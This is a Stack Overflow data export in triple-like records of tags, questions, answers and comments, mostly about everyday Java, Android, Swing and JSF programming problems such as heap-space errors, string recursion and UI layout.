shape-rendering
tags question: http://stackoverflow.com/q/22272284
type: Tag
tag name: shape-rendering

http://stackoverflow.com/comment/33680266
type: Comment
comment on: http://stackoverflow.com/a/22188051
has text: SeoUrlParamHolder parameterHolderMock = mock(SeoUrlParamHolder.class);I dont have such a class at all.All I have is urlState = mock(UrlState.class);
type: AnswerComment
score: 0

http://stackoverflow.com/a/22254066
has comment: http://stackoverflow.com/comment/33798931
has comment: http://stackoverflow.com/comment/33799249
has comment: http://stackoverflow.com/comment/33799402
has comment: http://stackoverflow.com/comment/33799457
score: 0
answers question: http://stackoverflow.com/q/22253918
has body: You can use: Class&lt;?&gt; clazz = Class.forName(className); Object object = clazz.newInstance(); where className - the fully qualified name of the desired class see http://docs.oracle.com/javase/7/docs/api/java/lang/Class.html for details
has comment: http://stackoverflow.com/comment/33799157
type: Answer
upvote count: 1
downvote count: 1

http://stackoverflow.com/comment/33831990
comment on: http://stackoverflow.com/q/22272056
type: Comment
type: QuestionComment
has text: `WHERE de OR para IN (".$lista.")` is that really what you mean? Or are do you mean `WHERE de IN (".$lista.") OR para IN (".$lista.")`
score: 0

http://stackoverflow.com/comment/33766631
type: QuestionComment
comment on: http://stackoverflow.com/q/22236011
has text: @androiddeveloper i already know that my friend.
score: 0
type: Comment

http://stackoverflow.com/q/22190591
tagged with: heap-memory
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33684950
linked to: http://stackoverflow.com/q/11266077
has comment: http://stackoverflow.com/comment/33685348
has comment: http://stackoverflow.com/comment/33684679
has comment: http://stackoverflow.com/comment/33685094
tagged with: java
has title: How to solve Java heap space error
upvote count: 1
has comment: http://stackoverflow.com/comment/33684768
has comment: http://stackoverflow.com/comment/33684648
type: Question
has comment: http://stackoverflow.com/comment/33685171
has comment: http://stackoverflow.com/comment/33685246
has comment: http://stackoverflow.com/comment/33684615
has comment: http://stackoverflow.com/comment/33685123
has comment: http://stackoverflow.com/comment/33685553
has comment: http://stackoverflow.com/comment/33684822
has answer: http://stackoverflow.com/a/22191054
has comment: http://stackoverflow.com/comment/33685205
has comment: http://stackoverflow.com/comment/33685540
has comment: http://stackoverflow.com/comment/33685176
linked to: http://stackoverflow.com/q/18428657
linked to: http://stackoverflow.com/q/14763079
answer count: 1
downvote count: 0
score: 1
favorite count: 0
has body: I am trying to insert 1.30 GB data through ETL in oracle .But i am getting Exception in thread "pool-1-thread-1" java.lang.OutOfMemoryError: Java heap space error.This is my Exception Tree Wed Mar 05 12:07:18 IST 2014 Starting data-source : Hua_GPRS_CS5_4.7 Wed Mar 05 12:07:18 IST 2014 Fetching Files @ ./data/huagprs/source Processing next 20 files from ./data/huagprs/source Processing file: D:\workspace\TestHardNess\data\huagprs\source\LEPC18_b00326794.dat_140110.100308_7518.Z Exception in thread "pool-1-thread-1" java.lang.OutOfMemoryError: Java heap space at java.util.Arrays.copyOfRange(Arrays.java:2694) at java.lang.String.&lt;init&gt;(String.java:203) at java.lang.StringBuilder.toString(StringBuilder.java:405) at jayu.ASCIIFormattable.byteArr2TimeStamp(ASCIIFormattable.java:173) at hua.gprs.HuawieGPRS.getValue(HuawieGPRS.java:122) at hua.gprs.HuawieGPRS.recordToString(HuawieGPRS.java:37) at hua.gprs.HuawieGPRS.recordToString(HuawieGPRS.java:60) at hua.gprs.HuawieGPRS.recordToString(HuawieGPRS.java:47) at hua.gprs.HuawieGPRS.recordToString(HuawieGPRS.java:60) at hua.gprs.HuawieGPRS.recordToString(HuawieGPRS.java:30) at hua.gprs.HuawieGPRSParser.persefile(HuawieGPRSParser.java:123) at hua.gprs.HuaGPRSFileExecutor.processFile(HuaGPRSFileExecutor.java:16) at com.etl.FileExecutor.run(FileExecutor.java:166) at com.etl.JobManager.executeFiles(JobManager.java:113) at com.etl.JobManager.crawlDir(JobManager.java:196) at com.etl.JobManager.run(JobManager.java:83) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1110) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:603) at java.lang.Thread.run(Thread.java:722) eclipse ini configuration -startup plugins/org.eclipse.equinox.launcher_1.3.0.v20120522-1813.jar --launcher.library plugins/org.eclipse.equinox.launcher.win32.win32.x86_1.1.200.v20120522-1813 -product org.eclipse.epp.package.jee.product --launcher.defaultAction openFile --launcher.XXMaxPermSize 256M -showsplas…
has comment: http://stackoverflow.com/comment/33684899
has comment: http://stackoverflow.com/comment/33685447

http://stackoverflow.com/q/22211521
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33722774
has answer: http://stackoverflow.com/a/48168488
tagged with: java
has answer: http://stackoverflow.com/a/56417915
has body: I am not able to come up with a best solution ( O(n) time) to recursively remove adjacent duplicates from a string. My attempt : public static String removeDuplicate(String s) { if ( s == null ) return null; if ( s.length() &lt;= 1 ) return s; if( s.substring(1,2).equals(s.substring(0,1))) return removeDuplicate(s.substring(1)); else return s.substring(0,1) + removeDuplicate(s.substring(1)); } But it does not work for cases such as : "azxxzy" -> "ay" In above case these are the string transformations : azxxzy azzy ay Sample input outputs : Input: azxxzy Output: ay Input: caaabbbaacdddd Output: Empty String Input: acaaabbbacdddd Output: acac UPDATE I have posted a version of answer below.
has comment: http://stackoverflow.com/comment/33722741
has title: How to recursively remove all adjacent duplicates
has comment: http://stackoverflow.com/comment/33723031
type: Question
has answer: http://stackoverflow.com/a/43049651
has comment: http://stackoverflow.com/comment/33722718
has comment: http://stackoverflow.com/comment/33722901
tagged with: algorithm
has answer: http://stackoverflow.com/a/48319844
accepted answer: http://stackoverflow.com/a/23094601
has comment: http://stackoverflow.com/comment/33727704
score: 0
has answer: http://stackoverflow.com/a/58051220
has answer: http://stackoverflow.com/a/49663793
has answer: http://stackoverflow.com/a/62861240
has comment: http://stackoverflow.com/comment/33722825
has comment: http://stackoverflow.com/comment/33722779
has answer: http://stackoverflow.com/a/22212264
has answer: http://stackoverflow.com/a/22211765
favorite count: 0
answer count: 12
upvote count: 2
has answer: http://stackoverflow.com/a/34619065
has answer: http://stackoverflow.com/a/54640598
downvote count: 2
possible better answer: http://stackoverflow.com/a/22211765
has comment: http://stackoverflow.com/comment/33722723
has answer: http://stackoverflow.com/a/23094601

http://stackoverflow.com/q/22263809
has answer: http://stackoverflow.com/a/78129417
tagged with: java
downvote count: 2
upvote count: 1
has comment: http://stackoverflow.com/comment/33817733
has comment: http://stackoverflow.com/comment/33817736
type: Question
has body: // It keeps popping up with this error when I try to compile it that says that it reached the end of the file while parsing, leading me to believe that I have a problem with my '{}' brackets. Please Help!!! // Here is the code: import java.util.*; class GameOfNim { public static void main(String [] args) { Scanner in = new Scanner (System.in); int marbles, player, difficulty, pick; marbles = (int)(Math.random()*90+10); player = (int)(Math.random()+0.5); difficulty = (int)(Math.random()+0.5); if(difficulty == 0) System.out.println("The Computer is now in Beast Mode!"); else if(difficulty == 1) System.out.println("The Computer is now in easy mode."); System.out.println("The pile of marbles has: " + marbles + "total marbles. Game On!"); while(marbles&gt;0) { if(player==0)//person {System.out.print("Pick some marbles"); pick = in.nextInt();} if (pick &gt;= 1 &amp;&amp; pick &lt;= marbles/2){ marbles = marbles - pick; System.out.println(marbles+"left");} else if(pick &lt; 1 || pick &gt; marbles/2 &amp;&amp; pile &gt; 1){ System.out.println("Error: Illegal Move."); player = 0; continue;} else { marbles = marbles - pick; System.out.println(marbles + "left."); }} if(player == 1 &amp;&amp; difficulty ==1) { System.out.println("Computer's turn to pick"); pick = (int)(Math.random()*marbles/2+1); marbles = marbles - pick; System.out.println("computer picks: " + pick + "marbles." + "There are: " + marbles + " marbles left.");} else if(player == 1 &amp;&amp; difficulty == 0) { System.out.println("Computer's turn to pick"); if(marbles &gt; 63) {pick = marbles - 63; marbles = marbles - pick;} else if(pile &gt; 31) {pick = marbles - 32; marbles = marbles - pick;} else if(pile &gt; 15) {pick = marbles - 15; marbles = marbles - pick;} else if(pile &gt; 7) {pick = marbles - 7; marbles = marbles - pick;} else if(pile &gt; 3) {pick = marbles - 3; marbles = marbles - pick;} else{ pick = (int)(Math.random()*marbles/2+1); marbles = marbles - pick; System.out.println("Computer picks: " + pic…
score: -1
has title: What is wrong with my code?
has answer: http://stackoverflow.com/a/22263862
has answer: http://stackoverflow.com/a/22263876
has comment: http://stackoverflow.com/comment/33817626
has comment: http://stackoverflow.com/comment/33817635
favorite count: 0
tagged with: while-loop
answer count: 5
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33817659
has answer: http://stackoverflow.com/a/22263861
has comment: http://stackoverflow.com/comment/33817589
has comment: http://stackoverflow.com/comment/33817600
has comment: http://stackoverflow.com/comment/33817663
has answer: http://stackoverflow.com/a/22263852

http://stackoverflow.com/a/22249443
type: Answer
has body: You should probably use a boolean array to store previously checked elements because it is more memory efficient and (I think) is more readable than using an int array. Try this: int size = 4; // set size here = size of your array 'team' boolean[] used = new boolean[size]; // all elements are by default false for(int i = 0; i &lt; 3; i++) { String [] team = {"Astonvilla", "Realmadrid", "Ajax", "Barcelona", "Manunited"}; String [] result={"0","1","2"}; int chooseTeam; do //repeatedly generate random indexes until an index not selected previously has been found { chooseTeam = (int)(Math.random()*team.length); } while(used[chooseTeam]); used[chooseTeam] = true; int chooseResult = (int)(Math.random() * result.length); System.out.println("Team is " + team[chooseTeam] + " Result is " + result[chooseResult]); }
downvote count: 0
score: 3
answers question: http://stackoverflow.com/q/22248987
upvote count: 3

http://stackoverflow.com/a/26893620
has body: In Java: Will write one without using java.utils shortly. Meantime a solution using java.utils: public static void twice(int[] a, int[] b, int[] c) { //Used Set to remove duplicates Set&lt;Integer&gt; setA = new HashSet&lt;Integer&gt;(); for (int i = 0; i &lt; a.length; i++) { setA.add(a[i]); } Set&lt;Integer&gt; setB = new HashSet&lt;Integer&gt;(); for (int i = 0; i &lt; b.length; i++) { setB.add(b[i]); } Set&lt;Integer&gt; setC = new HashSet&lt;Integer&gt;(); for (int i = 0; i &lt; c.length; i++) { setC.add(c[i]); } //Logic to fill data into a Map Map&lt;Integer, Integer&gt; map = new HashMap&lt;Integer, Integer&gt;(); for (Integer val : setA) { map.put(val, 1); } for (Integer val : setB) { if (map.get(val) != null) { int count = map.get(val); count++; map.put(val, count); } else { map.put(val, 1); } } for (Integer val : setC) { if (map.get(val) != null) { int count = map.get(val); count++; map.put(val, count); } else { map.put(val, 1); } } for (Map.Entry&lt;Integer, Integer&gt; entry2 : map.entrySet()) { //if (entry2.getValue() == 2) { //Return the elements that are present in two out of three arrays. if(entry2.getValue() &gt;= 2) { //Return elements that are present **at least** twice in the three arrays. System.out.print(" " + entry2.getKey()); } } } Change condition in last for loop in case one need to return the elements that are present in two out of three arrays. Say: int[] a = { 2, 3, 8, 4, 1, 9, 8 }; int[] b = { 6, 5, 3, 7, 9, 2, 1 }; int[] c = { 5, 1, 8, 2, 4, 0, 5 }; Output: { 3, 8, 4, 5, 9 }
score: 0
answers question: http://stackoverflow.com/q/22235319
type: Answer

http://stackoverflow.com/comment/33766638
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22236009
has text: @aglassman: _All_ equals methods must be symmetric; it doesn't matter if `o`'s equals method is being used or the list elements' equals methods are being used.
score: 3

http://stackoverflow.com/comment/33897352
type: Comment
has text: @user3344880 if you didn't have the +i, it would write the same dot in the same space `factor` times. It would look like only the spaces are stretched.
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/22307293

http://stackoverflow.com/q/22234065
has answer: http://stackoverflow.com/a/22234548
favorite count: 0
type: UnansweredQuestion
tagged with: multithreading
has answer: http://stackoverflow.com/a/23594844
downvote count: 0
has body: I would like to enforce security manager for execution some 3rd party libraries classes, so I do something like that: SecurityManager original = System.getSecurityManager(); System.setSecurityManager(for3rdOne); try { thirdparty.doStuff(); } finally { System.setSecurityManager(original); } So far, so good, the code works perfectly limiting 3rd parties to certain constraints. However I have several doubts I can't find answer: What if I execute this code in several threads, so if setSecurityManager has global scope then returning original security manager will open breach for 3rd party? if setSecurityManager has scope of only current thread, do I need to worry to return original security manager if my thread ends after calling 3rd party? Second doubt has certain trick for example new security manager for3rdOne doesn't allow calling setSecurityManager , so I need to do some action to allow it after my sand-boxed code exited.
score: 1
tagged with: java
type: Question
has title: What's is scope of setSecurityManager in Java?
answer count: 2
upvote count: 1

http://stackoverflow.com/a/22273324
has comment: http://stackoverflow.com/comment/33833979
upvote count: 2
has comment: http://stackoverflow.com/comment/33834089
type: AcceptedAnswer
type: Answer
has comment: http://stackoverflow.com/comment/33834043
has comment: http://stackoverflow.com/comment/33834065
accepted answer of: http://stackoverflow.com/q/22273270
has comment: http://stackoverflow.com/comment/33834063
score: 2
has comment: http://stackoverflow.com/comment/33834073
downvote count: 0
answers question: http://stackoverflow.com/q/22273270
has body: Your null pointer is caused because you created the reference to keysl but not to isChkb. ArrayList&lt;Boolean&gt; isChkb,keysl = new ArrayList&lt;Boolean&gt;(); Should be ArrayList&lt;Boolean&gt; isChkb = new ArrayList&lt;Boolean&gt;(), keysl = new ArrayList&lt;Boolean&gt;(); It assign the reference just to keysl not to isChkb As you can see: 03-08 20:21:36.670: E/AndroidRuntime(346): Caused by: java.util.NoSuchElementException 03-08 20:21:36.670: E/AndroidRuntime(346): at java.util.StringTokenizer.nextToken(StringTokenizer.java:272) 03-08 20:21:36.670: E/AndroidRuntime(346): at com.GhattasAk.RingMe.Main.onCreate(Main.java:82) NoSuchElementException injava.util.StringTokenizer.nextToken(StringTokenizer.java:272) It's caused because you should check if StringTokenizer have more elements in it. This StringTokenizer st = new StringTokenizer(savedString, ","); for (int i = 0; i &lt; keys.length; i++) { keys[i] = Boolean.valueOf(st.nextToken()); } Should be something like this StringTokenizer st = new StringTokenizer(savedString, ","); for (int i = 0; i &lt; keys.length; i++) { if (!st.hasMoreTokens()) break; keys[i] = Boolean.valueOf(st.nextToken()); } or better (for me) StringTokenizer st = new StringTokenizer(savedString, ","); for (int i = 0; i &lt; keys.length &amp;&amp; st.hasMoreTokens(); i++) { keys[i] = Boolean.valueOf(st.nextToken()); }
has comment: http://stackoverflow.com/comment/33834048

http://stackoverflow.com/comment/33680891
has text: Each row is actually a string.
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/22188407

http://stackoverflow.com/comment/33856299
type: AnswerComment
comment on: http://stackoverflow.com/a/22284802
type: Comment
has text: sorry, I used primefaces and confused the tags here … http://www.primefaces.org/showcase/ui/ajaxifyAction.jsf I'm updating the code.
score: 0

http://stackoverflow.com/comment/33698844
has text: Can you make `TreeSet<ClusteringObject>` work in your situation?
comment on: http://stackoverflow.com/q/22198829
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33837154
has text: Insted of this: x = x*cos - y*sin; y = x*sin + y*cos; It should be this: double xnew = x*cos - y*sin; double ynew = x*sin + y*cos; x = xnew + origin.getX(); y = ynew + origin.getY();
score: 1
comment on: http://stackoverflow.com/q/22275091
type: Comment
type: QuestionComment

http://stackoverflow.com/a/22322140
score: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/33951732
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/22315281
has body: If you're running out of Java heap space in MATLAB, you can increase the amount of memory assigned to it in the MATLAB preferences. Depending on your version of MATLAB, open the preferences dialog either by selecting Preferences from the File menu, or clicking Preferences in the toolstrip. Under the section General, Java Heap Memory, you should find a setting that controls the Java heap size. The default is pretty low, so increase it to whatever you feel is necessary. You'll need to restart MATLAB to have that setting take effect.

http://stackoverflow.com/comment/33899058
type: AnswerComment
has text: @RohitJain there could be missing logic that we don't see. In any case this covers it either way.
type: Comment
comment on: http://stackoverflow.com/a/22309167
score: 0

http://stackoverflow.com/a/22245522
score: 3
has comment: http://stackoverflow.com/comment/33785561
has comment: http://stackoverflow.com/comment/33783752
has body: This is called static initialization block, It's used to initialize static fields of a class. Could this have a bad result when having a web application? No, Having static block won't give any harm, and it's depends on you. Is there any other alternative? You can initialize static fields in the same line where you have declared them.
type: AcceptedAnswer
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/22245508
upvote count: 3
accepted answer of: http://stackoverflow.com/q/22245508
has comment: http://stackoverflow.com/comment/33785642

http://stackoverflow.com/q/22247191
possible better answer: http://stackoverflow.com/a/22320815
has comment: http://stackoverflow.com/comment/33786590
answer count: 4
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/39645848
has title: pe:inputNumber value return null
score: 1
tagged with: java
has comment: http://stackoverflow.com/comment/33786486
tagged with: primefaces-extensions
upvote count: 1
accepted answer: http://stackoverflow.com/a/22337413
type: Question
tagged with: primefaces
tagged with: http://stackoverflow.com/tag/xhtml
has body: I have this p:dataTable &lt;ui:composition xmlns="http://www.w3.org/1999/xhtml" xmlns:h="http://java.sun.com/jsf/html" xmlns:f="http://java.sun.com/jsf/core" xmlns:ui="http://java.sun.com/jsf/facelets" xmlns:p="http://primefaces.org/ui" xmlns:pe="http://primefaces.org/ui/extensions"&gt; &lt;h:form id="form" prependId="false"&gt; &lt;p:dataTable var="row" id="list" value="#{BB.dataTable}" rowIndexVar="i"&gt; &lt;p:column headerText="#{bundle['id']}"&gt; &lt;h:outputText value="#{row.id}" /&gt; &lt;/p:column&gt; &lt;p:columns var="fecha" value="#{BB.lFechaEntradaVigor}"&gt; &lt;f:facet name="header"&gt; &lt;h:outputText value="#{fecha}" /&gt; &lt;/f:facet&gt; &lt;h:outputText value="#{row.getCoste(fecha)}" styleClass="#{row.isValido(fecha)?'vigor':''}" rendered="#{!row.isUpdatable(fecha)}"&gt; &lt;f:convertNumber groupingUsed="true" minFractionDigits="2" /&gt; &lt;/h:outputText&gt; &lt;pe:inputNumber value="#{BB.valor}" rendered="#{row.isUpdatable(fecha)}" &gt; &lt;p:ajax event="change" listener="#{BB.changeValor(fecha, row, i)}" /&gt; &lt;/pe:inputNumber&gt; &lt;/p:columns&gt; &lt;/p:dataTable&gt; &lt;p:commandButton value="#{bundleComunes.guardar}" action="#{BB.saveData()}" /&gt; &lt;/h:form&gt; When I call changeValor valor always return null, but when I write pe:inputNumber out of p:columns works. Any idea???
has answer: http://stackoverflow.com/a/33527458
tagged with: jsf-2
downvote count: 0
has answer: http://stackoverflow.com/a/22320815
has comment: http://stackoverflow.com/comment/33786820
favorite count: 0
has answer: http://stackoverflow.com/a/22337413

http://stackoverflow.com/q/22271299
answer count: 1
favorite count: 0
score: -3
downvote count: 4
has body: Am taking text where there is tag i want to Line break each time . is found. e.g: The boy is going home. LINE BREAK She is returning LINE BREAK can anyone give me a sample code how to do this
tagged with: java
has answer: http://stackoverflow.com/a/22271361
accepted answer: http://stackoverflow.com/a/22271361
has comment: http://stackoverflow.com/comment/33830177
type: Question
type: AnsweredQuestion
has title: Line break at dot
upvote count: 1

http://stackoverflow.com/comment/33981256
type: AnswerComment
type: Comment
has text: Correct. That's because in onCreate() your layout's views aren't layed out yet, so their widths and heights = 0. You should call iv.setImageBitmap(writeTextOnDrawable(drawableId, text)) only after the view has been layed out. See [this answer](http://stackoverflow.com/questions/22312350/android-how-to-tell-when-a-specific-view-has-been-rendered/22312916#22312916) where instead of button use imageView.
comment on: http://stackoverflow.com/a/22316008
score: 0

http://stackoverflow.com/comment/33906568
type: QuestionComment
has text: The answer depends. Is each ship it's own `Class` are you trying to maintain the information about the ships in some other kind of structure (which is what it sounds likes)?
comment on: http://stackoverflow.com/q/22313381
score: 0
type: Comment

http://stackoverflow.com/a/22209196
answers question: http://stackoverflow.com/q/22209099
has comment: http://stackoverflow.com/comment/33718821
has body: This is probably not a spring issue. Glassfish uses a hot deploy system. Every time a file is changed or added to the file system, it will redeploy all of the resources. I would suggest creating the files outside of the server deploy directory.
has comment: http://stackoverflow.com/comment/33718644
type: Answer
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/33718242
has comment: http://stackoverflow.com/comment/33718298
has comment: http://stackoverflow.com/comment/33719847
has comment: http://stackoverflow.com/comment/33719814
downvote count: 0

jfreechart
type: Tag
tags question: http://stackoverflow.com/q/22235824
tags question: http://stackoverflow.com/q/22283233
tags question: http://stackoverflow.com/q/22299659
tags question: http://stackoverflow.com/q/22256756
tags question: http://stackoverflow.com/q/22323486
tags question: http://stackoverflow.com/q/22248136
tags question: http://stackoverflow.com/q/22253973
tags question: http://stackoverflow.com/q/22325006
tags question: http://stackoverflow.com/q/22219591
tags question: http://stackoverflow.com/q/22175991
tags question: http://stackoverflow.com/q/22229718
tag name: jfreechart
tags question: http://stackoverflow.com/q/22300828

send
type: Tag
tags question: http://stackoverflow.com/q/22326106
tag name: send

http://stackoverflow.com/a/22215531
answers question: http://stackoverflow.com/q/22215361
type: Answer
downvote count: 0
score: 1
has body: I guess you want to transfer your UI design into GUI in program. It's similar to web design: everything in Photoshop is design or resource, it's not useful and accessible unless you transfer them into html/css/javascript. Design in Photoshop could provide you element should be what size, what color and where to put, also what you see (like picture resource), but you need to write html code for visiting in web. I am not familiar with Java GUI, maybe Swing is an option. For python, you could try wxPython or PyQt for GUI.
upvote count: 1

http://stackoverflow.com/comment/33669495
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22181211
has text: But I need to specify column size at creation time so I have a upper limit to indexable files per user. Then a signle table will quickly increase as the number of user and files. I dont think it is a winning approach. And what if I want to add a keword classification? I add a dimension. Should I search the entire file table aech time a look for files associated to a key? I dont think so. I think is more efficient to have more tables. is this a bad approach in your opinion? anyway I will check all your suggests, thanks!
type: Comment

http://stackoverflow.com/q/22179426
tagged with: java
type: Question
has title: Get the user input from edittext and as soon the input is correct change textview (Android)
has comment: http://stackoverflow.com/comment/33665080
score: 0
has answer: http://stackoverflow.com/a/22180276
answer count: 1
has body: I have two text views and a EditText. In the TextViews are integers they are random generated. I want when the entry is correct in editText (Without OK button) the two textview change to new random integers. I already have: Random random1 = new Random(); int rand = random1.nextInt(100); Random random2 = new Random(); int rand1 = random2.nextInt(100); final TextView textview1 = (TextView)findViewById(R.id.textView1); textview1.setText(String.valueOf(rand)); final TextView textview2 = (TextView)findViewById(R.id.textView2); textview1.setText(String.valueOf (rand1)); final EditText edittext = (EditText)findViewById(R.id.editText1); int f = -1; // or other invalid value if (edittext.getText().toString().length() &gt; 0) { f = Integer.parseInt(edittext.getText().toString()); } int answer = rand1 + rand; if (f == answer) { textview1.setText(rand++); textview2.setText(rand1++); }else { System.out.println("!"); } Thanks for your Help!
type: UnansweredQuestion
tagged with: android
has comment: http://stackoverflow.com/comment/33665737
tagged with: android-edittext
has comment: http://stackoverflow.com/comment/33665752

http://stackoverflow.com/q/22212067
tagged with: netbeans
tagged with: java
has title: Using an external class for handling bar code scanner input?
has answer: http://stackoverflow.com/a/22212221
tagged with: swing
tagged with: keyboardfocusmanager
type: Question
tagged with: barcode-scanner
score: 0
answer count: 1
has body: I'm building a basic Point of Sale application and I've been looking for ways of having my main POS JFrame listen for bar code input. I found this code (slightly modified) posted by Cyrusmith, which looks like what I want but I don't know how to implement it in my JFrame. It looks like its intended to be a separate class, which is how I have it in my project currently. I asked my coworker and he doesn't know either. Thanks for your help. package barcode; import java.awt.KeyEventDispatcher; import java.awt.KeyboardFocusManager; import java.awt.event.KeyEvent; import java.util.List; import java.util.concurrent.CopyOnWriteArrayList; /** * Listens for bar code input and puts it into a String Buffer. * */ public class BarcodeReader { private static final long THRESHOLD = 100; private static final int MIN_BARCODE_LENGTH = 8; public interface BarcodeListener { void onBarcodeRead(String barcode); } private final StringBuffer barcode = new StringBuffer(); private final List&lt;BarcodeListener&gt; listeners = new CopyOnWriteArrayList&lt;&gt;(); private long lastEventTimeStamp = 0L; public BarcodeReader() { KeyboardFocusManager.getCurrentKeyboardFocusManager().addKeyEventDispatcher(new KeyEventDispatcher() { @Override public boolean dispatchKeyEvent(KeyEvent e) { try { if (e.getID() != KeyEvent.KEY_RELEASED) { return false; } if (e.getWhen() - lastEventTimeStamp &gt; THRESHOLD) { barcode.delete(0, barcode.length()); } lastEventTimeStamp = e.getWhen(); if (e.getKeyCode() == KeyEvent.VK_ENTER) { if (barcode.length() &gt;= MIN_BARCODE_LENGTH) { fireBarcode(barcode.toString()); } barcode.delete(0, barcode.length()); } else { barcode.append(e.getKeyChar()); } return false; } catch (UnsupportedOperationException err) { throw new UnsupportedOperationException(err); //To change body of generated methods, choose Tools | Templates. } } }); } protected void fireBarcode(String barcode) { for (BarcodeListener listener : listeners) { listener.onBarcodeRead(barcode); } } public void addBarco…
accepted answer: http://stackoverflow.com/a/22212221
type: AnsweredQuestion

http://stackoverflow.com/comment/33817108
type: QuestionComment
has text: I never skipped tests and sonar worked fine for me
type: Comment
score: 0
comment on: http://stackoverflow.com/q/22221679

http://stackoverflow.com/q/22265658
type: Question
possible better answer: http://stackoverflow.com/a/22267282
tagged with: layout
has body: i am trying to create a jtable using java swing and little bit i am able to do this but problem is this that i want to create that jtable on full jframe window how can i do this here is my code given below import javax.swing.*; import javax.swing.table.*; import java.awt.*; public class ScrollableJTable{ public static void main(String[] args) { new ScrollableJTable(); } public ScrollableJTable(){ JFrame frame = new JFrame("Creating a Scrollable JTable!"); JPanel panel = new JPanel(); String data[][] = {{"001"}, }; String col[] = {"Roll"}; JTable table = new JTable(data,col); JTableHeader header = table.getTableHeader(); header.setBackground(Color.yellow); Toolkit tk = Toolkit.getDefaultToolkit(); int xSize = ((int) tk.getScreenSize().getWidth()); int ySize = ((int) tk.getScreenSize().getHeight()); JScrollPane pane = new JScrollPane(table); table.setAutoResizeMode(JTable.AUTO_RESIZE_OFF); panel.add(pane); frame.add(panel); frame.setSize(xSize,ySize); frame.setUndecorated(true); frame.getRootPane().setWindowDecorationStyle(JRootPane.PLAIN_DIALOG); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); frame.setVisible(true); } } How can i achieve my desired output? hanks in advance
tagged with: jtable
answer count: 2
upvote count: 0
favorite count: 0
score: -1
has answer: http://stackoverflow.com/a/22265691
tagged with: jframe
tagged with: swing
accepted answer: http://stackoverflow.com/a/22265691
type: AnsweredQuestion
tagged with: java
has answer: http://stackoverflow.com/a/22267282
downvote count: 1
has title: How to make jtable on full jframe window

http://stackoverflow.com/comment/33853345
comment on: http://stackoverflow.com/q/22283963
type: Comment
has text: Basically how to add a user input. If the user enters 5 in the JTextField, and 10 in another JTextField, I want to know how to add them together. But you cant add 2 JTextFields, so I was wondering if there is a statement to change the JTextField into an int.
score: 0
type: QuestionComment

http://stackoverflow.com/comment/33665737
has text: use a onTextChangedListener on your EditText.
type: QuestionComment
comment on: http://stackoverflow.com/q/22179426
type: Comment
score: 0

http://stackoverflow.com/comment/33888442
type: QuestionComment
comment on: http://stackoverflow.com/q/22303615
has text: can you please add your json response ,so i can give you solution.
score: 0
type: Comment

http://stackoverflow.com/comment/33822341
comment on: http://stackoverflow.com/q/22266731
score: 0
type: Comment
type: QuestionComment
has text: see http://developer.android.com/reference/java/text/DateFormat.html#getDateInstance()

http://stackoverflow.com/q/22230954
has title: Why cant my view flipper show more than 3 views?
tagged with: java
has comment: http://stackoverflow.com/comment/33756509
type: Question
has body: I am trying to make a slideshow app for a school project, and I have it working when the view flipper contains 3 images. However, when I add a 4th layout and another picture the program crashes. Any idea why? Thanks! public class MainActivity extends Activity { private static final int SWIPE_MIN_DISTANCE = 120; private static final int SWIPE_THRESHOLD_VELOCITY = 200; private ViewFlipper myViewFlipper; private AnimationListener mAnimationListener; private Context mContext; MediaPlayer soundOne, soundTwo, soundThree; @SuppressWarnings("deprecation") private final GestureDetector detector = new GestureDetector(new SwipeGestureDetector()); @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); mContext = this; myViewFlipper = (ViewFlipper) this.findViewById(R.id.view_flipper); myViewFlipper.setOnTouchListener(new OnTouchListener() { @Override public boolean onTouch(final View view, final MotionEvent event) { detector.onTouchEvent(event); return true; } }); findViewById(R.id.play).setOnClickListener(new OnClickListener() { @Override public void onClick(View view) { //sets auto flipping myViewFlipper.setAutoStart(true); myViewFlipper.setFlipInterval(4000); myViewFlipper.startFlipping(); soundOne = MediaPlayer.create(MainActivity.this, R.raw.one ); soundTwo = MediaPlayer.create(MainActivity.this, R.raw.two ); soundThree = MediaPlayer.create(MainActivity.this, R.raw.three ); //generate random number Random randomGenerator = new Random(); int randomInt = randomGenerator.nextInt(3) + 1; //picking the right sound to play switch (randomInt){ case 1: soundOne.start(); break; case 2: soundTwo.start(); break; case 3: soundThree.start(); break; } } }); findViewById(R.id.stop).setOnClickListener(new OnClickListener() { @Override public void onClick(View view) { //stop auto flipping myViewFlipper.stopFlipping(); soundOne.stop(); soundTwo.stop(); soundThree.stop(); } }); //animation listener mAnimationLis…
linked to: http://stackoverflow.com/q/6280591
tagged with: viewflipper
tagged with: slideshow
has comment: http://stackoverflow.com/comment/33757301
has comment: http://stackoverflow.com/comment/33763804
score: 0
has comment: http://stackoverflow.com/comment/33757236
has comment: http://stackoverflow.com/comment/33758111
tagged with: android
answer count: 0
has comment: http://stackoverflow.com/comment/33756512
type: UnansweredQuestion

http://stackoverflow.com/comment/33911704
comment on: http://stackoverflow.com/q/22316401
has text: You want to remove it from file or it is a simple text ?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/22292838
has body: I had similar problem and tried for hours to find the solution. Finally, I was able to solve the issue by updating the mysql-connector version. Try the latest connector version (5.1.29) and let me know if his works for you. This might help if you have updated your MySQL server version.
answers question: http://stackoverflow.com/q/22186303
score: 0
type: Answer

http://stackoverflow.com/a/22216592
